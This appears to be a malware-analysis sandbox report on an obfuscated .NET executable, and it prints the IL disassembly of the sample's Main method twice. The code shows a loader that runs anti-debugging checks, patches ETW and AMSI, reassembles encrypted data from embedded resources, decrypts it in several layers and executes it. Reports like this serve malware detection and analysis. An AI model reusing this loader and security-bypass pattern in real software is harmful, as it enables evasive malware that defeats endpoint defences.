Suspicious
Suspect

Share on LinkedIn
Print
PE Executable
MD5:
Size: 0 B
application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score High
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
7d1d0545958d3edea92a687381373134
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.text279
.reloc
Resources
RT_VERSION
ID:0001
ID:1033
.Net Resources
System.Windows.Forms.resources
Microsoft.VisualBasic.resources
System.ServiceModel.resources
System.Data.resources
System.Design.resources
Rc32bd4ff
Name Value
Info
PE Detect: PeReader OK (file layout)
Module Name
ekv3zbwv.4wu.exe
Full Name
ekv3zbwv.4wu.exe
EntryPoint
System.Void Tb9bdc010::Main(System.String[])
Scope Name
ekv3zbwv.4wu.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
ekv3zbwv.4wu
Assembly Version
0.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
20
Main Method
System.Void Tb9bdc010::Main(System.String[])
Main IL Instruction Count
255
Main IL 
call System.Boolean Tb9bdc010::Rdd099ed7()
brtrue.s IL_000C: call System.Void Tb9bdc010::AntiDebug()
leave IL_0261: ret
call System.Void Tb9bdc010::AntiDebug()
ldc.i4.0 <null>
stloc.0 <null>
ldc.i4.0 <null>
stloc.2 <null>
br.s IL_001F: ldloc.2
ldloc.0 <null>
ldloc.2 <null>
add <null>
stloc.0 <null>
ldloc.2 <null>
ldc.i4.1 <null>
add <null>
stloc.2 <null>
ldloc.2 <null>
ldc.i4 1000000
blt.s IL_0017: ldloc.0
ldloc.0 <null>
ldc.i4.0 <null>
bge.s IL_0030: ldc.i4 2000
leave IL_0261: ret
ldc.i4 2000
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldc.i4.0 <null>
stloc.1 <null>
br IL_0254: ldloc.1
ldloc.1 <null>
switch dnlib.DotNet.Emit.Instruction[]
br IL_0251: ldc.i4.s 10
call System.Void Tb9bdc010::Pdd77e973()
ldc.i4.1 <null>
stloc.1 <null>
br IL_0254: ldloc.1
call System.Void Tb9bdc010::PatchETW()
ldc.i4.2 <null>
stloc.1 <null>
br IL_0254: ldloc.1
call System.Void Tb9bdc010::PatchAMSI()
ldc.i4.3 <null>
stloc.1 <null>
br IL_0254: ldloc.1
ldc.i4.4 <null>
stloc.1 <null>
br IL_0254: ldloc.1
ldc.i4.s 32
newarr System.Byte
dup <null>
ldtoken Ta8341943/T77490825 Ta8341943::Fdb6a18131aa2
call System.Void System.Runtime.CompilerServices.RuntimeHelpers::InitializeArray(System.Array,System.RuntimeFieldHandle)
stloc.3 <null>
ldc.i4.s 16
newarr System.Byte
dup <null>
ldtoken Ta8341943/T01e58370 Ta8341943::F3d0a1b3d2f17
call System.Void System.Runtime.CompilerServices.RuntimeHelpers::InitializeArray(System.Array,System.RuntimeFieldHandle)
stloc.s V_4
ldc.i4.s 16
newarr System.Byte
dup <null>
ldtoken Ta8341943/T01e58370 Ta8341943::F87f00f047090
call System.Void System.Runtime.CompilerServices.RuntimeHelpers::InitializeArray(System.Array,System.RuntimeFieldHandle)
stloc.s V_5
ldc.i4.s 32
newarr System.Byte
dup <null>
ldtoken Ta8341943/T77490825 Ta8341943::F1e3517b0f202
call System.Void System.Runtime.CompilerServices.RuntimeHelpers::InitializeArray(System.Array,System.RuntimeFieldHandle)
stloc.s V_6
ldc.i4.s 32
newarr System.Byte
dup <null>
ldtoken Ta8341943/T77490825 Ta8341943::F2a95ac559bf5
call System.Void System.Runtime.CompilerServices.RuntimeHelpers::InitializeArray(System.Array,System.RuntimeFieldHandle)
stloc.s V_7
ldc.i4.6 <null>
newarr System.String
dup <null>
ldc.i4.0 <null>
ldstr System.Windows.Forms.resources
stelem.ref <null>
dup <null>
ldc.i4.1 <null>
ldstr Microsoft.VisualBasic.resources
stelem.ref <null>
dup <null>
ldc.i4.2 <null>
ldstr System.ServiceModel.resources
stelem.ref <null>
dup <null>
ldc.i4.3 <null>
ldstr System.Data.resources
stelem.ref <null>
dup <null>
ldc.i4.4 <null>
ldstr System.Design.resources
stelem.ref <null>
dup <null>
ldc.i4.5 <null>
ldstr Rc32bd4ff
stelem.ref <null>
stloc.s V_8
ldc.i4.6 <null>
newarr System.Int32
dup <null>
ldtoken Ta8341943/Ta69b9601 Ta8341943::Fae1ff503da40
call System.Void System.Runtime.CompilerServices.RuntimeHelpers::InitializeArray(System.Array,System.RuntimeFieldHandle)
stloc.s V_9
ldc.i4.0 <null>
stloc.s V_10
ldc.i4.0 <null>
stloc.s V_14
br.s IL_0151: ldloc.s V_14
ldloc.s V_10
ldloc.s V_9
ldloc.s V_14
ldelem.i4 <null>
add <null>
stloc.s V_10
ldloc.s V_14
ldc.i4.1 <null>
add <null>
stloc.s V_14
ldloc.s V_14
ldloc.s V_9
ldlen <null>
conv.i4 <null>
blt.s IL_0141: ldloc.s V_10
ldloc.s V_10
newarr System.Byte
stloc.s V_11
ldc.i4.0 <null>
stloc.s V_12
ldc.i4.0 <null>
stloc.s V_15
br IL_0203: ldloc.s V_15
call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly()
ldloc.s V_8
ldloc.s V_15
ldelem.ref <null>
callvirt System.IO.Stream System.Reflection.Assembly::GetManifestResourceStream(System.String)
stloc.s V_16
ldloc.s V_16
brtrue.s IL_0187: ldloc.s V_9
leave IL_0261: ret
ldloc.s V_9
ldloc.s V_15
ldelem.i4 <null>
ldc.i4.4 <null>
mul <null>
stloc.s V_17
ldloc.s V_17
newarr System.Byte
stloc.s V_18
ldc.i4.0 <null>
stloc.s V_19
br.s IL_01BC: ldloc.s V_19
ldloc.s V_16
ldloc.s V_18
ldloc.s V_19
ldloc.s V_17
ldloc.s V_19
sub <null>
callvirt System.Int32 System.IO.Stream::Read(System.Byte[],System.Int32,System.Int32)
stloc.s V_20
ldloc.s V_20
ldc.i4.0 <null>
ble.s IL_01C2: ldc.i4.0
ldloc.s V_19
ldloc.s V_20
add <null>
stloc.s V_19
ldloc.s V_19
ldloc.s V_17
blt.s IL_019E: ldloc.s V_16
ldc.i4.0 <null>
stloc.s V_21
br.s IL_01DC: ldloc.s V_21
ldloc.s V_11
ldloc.s V_12
ldloc.s V_21
add <null>
ldloc.s V_18
ldloc.s V_21
ldc.i4.4 <null>
mul <null>
ldelem.u1 <null>
stelem.i1 <null>
ldloc.s V_21
ldc.i4.1 <null>
add <null>
stloc.s V_21
ldloc.s V_21
ldloc.s V_9
ldloc.s V_15
ldelem.i4 <null>
blt.s IL_01C7: ldloc.s V_11
ldloc.s V_12
ldloc.s V_9
ldloc.s V_15
ldelem.i4 <null>
add <null>
stloc.s V_12
leave.s IL_01FD: ldloc.s V_15
ldloc.s V_16
brfalse.s IL_01FC: endfinally
ldloc.s V_16
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
ldloc.s V_15
ldc.i4.1 <null>
add <null>
stloc.s V_15
ldloc.s V_15
ldloc.s V_8
ldlen <null>
conv.i4 <null>
blt IL_016D: call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly()
ldloc.s V_11
ldloc.s V_7
call System.Byte[] Tb9bdc010::Xf92a4064(System.Byte[],System.Byte[])
stloc.s V_13
ldloc.s V_13
ldloc.s V_6
call System.Byte[] Tb9bdc010::R9b495235(System.Byte[],System.Byte[])
stloc.s V_13
ldloc.s V_13
ldloc.3 <null>
ldloc.s V_4
ldloc.s V_5
call System.Byte[] Tb9bdc010::D92a77252(System.Byte[],System.Byte[],System.Byte[],System.Byte[])
stloc.s V_13
ldloc.s V_13
brfalse.s IL_024C: ldc.i4.s 10
ldloc.s V_13
ldlen <null>
brfalse.s IL_024C: ldc.i4.s 10
ldc.i4 500
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldloc.s V_13
call System.Void Tb9bdc010::M43036e42(System.Byte[])
ldc.i4.s 10
stloc.1 <null>
br.s IL_0254: ldloc.1
ldc.i4.s 10
stloc.1 <null>
ldloc.1 <null>
ldc.i4.s 10
blt IL_0041: ldloc.1
leave.s IL_0261: ret
pop <null>
leave.s IL_0261: ret
ret <null>
Module Name
ekv3zbwv.4wu.exe
Full Name
ekv3zbwv.4wu.exe
EntryPoint
System.Void Tb9bdc010::Main(System.String[])
Scope Name
ekv3zbwv.4wu.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
ekv3zbwv.4wu
Assembly Version
0.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
20
Main Method
System.Void Tb9bdc010::Main(System.String[])
Main IL Instruction Count
255
Main IL 
call System.Boolean Tb9bdc010::Rdd099ed7()
brtrue.s IL_000C: call System.Void Tb9bdc010::AntiDebug()
leave IL_0261: ret
call System.Void Tb9bdc010::AntiDebug()
ldc.i4.0 <null>
stloc.0 <null>
ldc.i4.0 <null>
stloc.2 <null>
br.s IL_001F: ldloc.2
ldloc.0 <null>
ldloc.2 <null>
add <null>
stloc.0 <null>
ldloc.2 <null>
ldc.i4.1 <null>
add <null>
stloc.2 <null>
ldloc.2 <null>
ldc.i4 1000000
blt.s IL_0017: ldloc.0
ldloc.0 <null>
ldc.i4.0 <null>
bge.s IL_0030: ldc.i4 2000
leave IL_0261: ret
ldc.i4 2000
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldc.i4.0 <null>
stloc.1 <null>
br IL_0254: ldloc.1
ldloc.1 <null>
switch dnlib.DotNet.Emit.Instruction[]
br IL_0251: ldc.i4.s 10
call System.Void Tb9bdc010::Pdd77e973()
ldc.i4.1 <null>
stloc.1 <null>
br IL_0254: ldloc.1
call System.Void Tb9bdc010::PatchETW()
ldc.i4.2 <null>
stloc.1 <null>
br IL_0254: ldloc.1
call System.Void Tb9bdc010::PatchAMSI()
ldc.i4.3 <null>
stloc.1 <null>
br IL_0254: ldloc.1
ldc.i4.4 <null>
stloc.1 <null>
br IL_0254: ldloc.1
ldc.i4.s 32
newarr System.Byte
dup <null>
ldtoken Ta8341943/T77490825 Ta8341943::Fdb6a18131aa2
call System.Void System.Runtime.CompilerServices.RuntimeHelpers::InitializeArray(System.Array,System.RuntimeFieldHandle)
stloc.3 <null>
ldc.i4.s 16
newarr System.Byte
dup <null>
ldtoken Ta8341943/T01e58370 Ta8341943::F3d0a1b3d2f17
call System.Void System.Runtime.CompilerServices.RuntimeHelpers::InitializeArray(System.Array,System.RuntimeFieldHandle)
stloc.s V_4
ldc.i4.s 16
newarr System.Byte
dup <null>
ldtoken Ta8341943/T01e58370 Ta8341943::F87f00f047090
call System.Void System.Runtime.CompilerServices.RuntimeHelpers::InitializeArray(System.Array,System.RuntimeFieldHandle)
stloc.s V_5
ldc.i4.s 32
newarr System.Byte
dup <null>
ldtoken Ta8341943/T77490825 Ta8341943::F1e3517b0f202
call System.Void System.Runtime.CompilerServices.RuntimeHelpers::InitializeArray(System.Array,System.RuntimeFieldHandle)
stloc.s V_6
ldc.i4.s 32
newarr System.Byte
dup <null>
ldtoken Ta8341943/T77490825 Ta8341943::F2a95ac559bf5
call System.Void System.Runtime.CompilerServices.RuntimeHelpers::InitializeArray(System.Array,System.RuntimeFieldHandle)
stloc.s V_7
ldc.i4.6 <null>
newarr System.String
dup <null>
ldc.i4.0 <null>
ldstr System.Windows.Forms.resources
stelem.ref <null>
dup <null>
ldc.i4.1 <null>
ldstr Microsoft.VisualBasic.resources
stelem.ref <null>
dup <null>
ldc.i4.2 <null>
ldstr System.ServiceModel.resources
stelem.ref <null>
dup <null>
ldc.i4.3 <null>
ldstr System.Data.resources
stelem.ref <null>
dup <null>
ldc.i4.4 <null>
ldstr System.Design.resources
stelem.ref <null>
dup <null>
ldc.i4.5 <null>
ldstr Rc32bd4ff
stelem.ref <null>
stloc.s V_8
ldc.i4.6 <null>
newarr System.Int32
dup <null>
ldtoken Ta8341943/Ta69b9601 Ta8341943::Fae1ff503da40
call System.Void System.Runtime.CompilerServices.RuntimeHelpers::InitializeArray(System.Array,System.RuntimeFieldHandle)
stloc.s V_9
ldc.i4.0 <null>
stloc.s V_10
ldc.i4.0 <null>
stloc.s V_14
br.s IL_0151: ldloc.s V_14
ldloc.s V_10
ldloc.s V_9
ldloc.s V_14
ldelem.i4 <null>
add <null>
stloc.s V_10
ldloc.s V_14
ldc.i4.1 <null>
add <null>
stloc.s V_14
ldloc.s V_14
ldloc.s V_9
ldlen <null>
conv.i4 <null>
blt.s IL_0141: ldloc.s V_10
ldloc.s V_10
newarr System.Byte
stloc.s V_11
ldc.i4.0 <null>
stloc.s V_12
ldc.i4.0 <null>
stloc.s V_15
br IL_0203: ldloc.s V_15
call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly()
ldloc.s V_8
ldloc.s V_15
ldelem.ref <null>
callvirt System.IO.Stream System.Reflection.Assembly::GetManifestResourceStream(System.String)
stloc.s V_16
ldloc.s V_16
brtrue.s IL_0187: ldloc.s V_9
leave IL_0261: ret
ldloc.s V_9
ldloc.s V_15
ldelem.i4 <null>
ldc.i4.4 <null>
mul <null>
stloc.s V_17
ldloc.s V_17
newarr System.Byte
stloc.s V_18
ldc.i4.0 <null>
stloc.s V_19
br.s IL_01BC: ldloc.s V_19
ldloc.s V_16
ldloc.s V_18
ldloc.s V_19
ldloc.s V_17
ldloc.s V_19
sub <null>
callvirt System.Int32 System.IO.Stream::Read(System.Byte[],System.Int32,System.Int32)
stloc.s V_20
ldloc.s V_20
ldc.i4.0 <null>
ble.s IL_01C2: ldc.i4.0
ldloc.s V_19
ldloc.s V_20
add <null>
stloc.s V_19
ldloc.s V_19
ldloc.s V_17
blt.s IL_019E: ldloc.s V_16
ldc.i4.0 <null>
stloc.s V_21
br.s IL_01DC: ldloc.s V_21
ldloc.s V_11
ldloc.s V_12
ldloc.s V_21
add <null>
ldloc.s V_18
ldloc.s V_21
ldc.i4.4 <null>
mul <null>
ldelem.u1 <null>
stelem.i1 <null>
ldloc.s V_21
ldc.i4.1 <null>
add <null>
stloc.s V_21
ldloc.s V_21
ldloc.s V_9
ldloc.s V_15
ldelem.i4 <null>
blt.s IL_01C7: ldloc.s V_11
ldloc.s V_12
ldloc.s V_9
ldloc.s V_15
ldelem.i4 <null>
add <null>
stloc.s V_12
leave.s IL_01FD: ldloc.s V_15
ldloc.s V_16
brfalse.s IL_01FC: endfinally
ldloc.s V_16
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
ldloc.s V_15
ldc.i4.1 <null>
add <null>
stloc.s V_15
ldloc.s V_15
ldloc.s V_8
ldlen <null>
conv.i4 <null>
blt IL_016D: call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly()
ldloc.s V_11
ldloc.s V_7
call System.Byte[] Tb9bdc010::Xf92a4064(System.Byte[],System.Byte[])
stloc.s V_13
ldloc.s V_13
ldloc.s V_6
call System.Byte[] Tb9bdc010::R9b495235(System.Byte[],System.Byte[])
stloc.s V_13
ldloc.s V_13
ldloc.3 <null>
ldloc.s V_4
ldloc.s V_5
call System.Byte[] Tb9bdc010::D92a77252(System.Byte[],System.Byte[],System.Byte[],System.Byte[])
stloc.s V_13
ldloc.s V_13
brfalse.s IL_024C: ldc.i4.s 10
ldloc.s V_13
ldlen <null>
brfalse.s IL_024C: ldc.i4.s 10
ldc.i4 500
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldloc.s V_13
call System.Void Tb9bdc010::M43036e42(System.Byte[])
ldc.i4.s 10
stloc.1 <null>
br.s IL_0254: ldloc.1
ldc.i4.s 10
stloc.1 <null>
ldloc.1 <null>
ldc.i4.s 10
blt IL_0041: ldloc.1
leave.s IL_0261: ret
pop <null>
leave.s IL_0261: ret
ret <null>
An error has occurred. This application may no longer respond until reloaded. Reload 🗙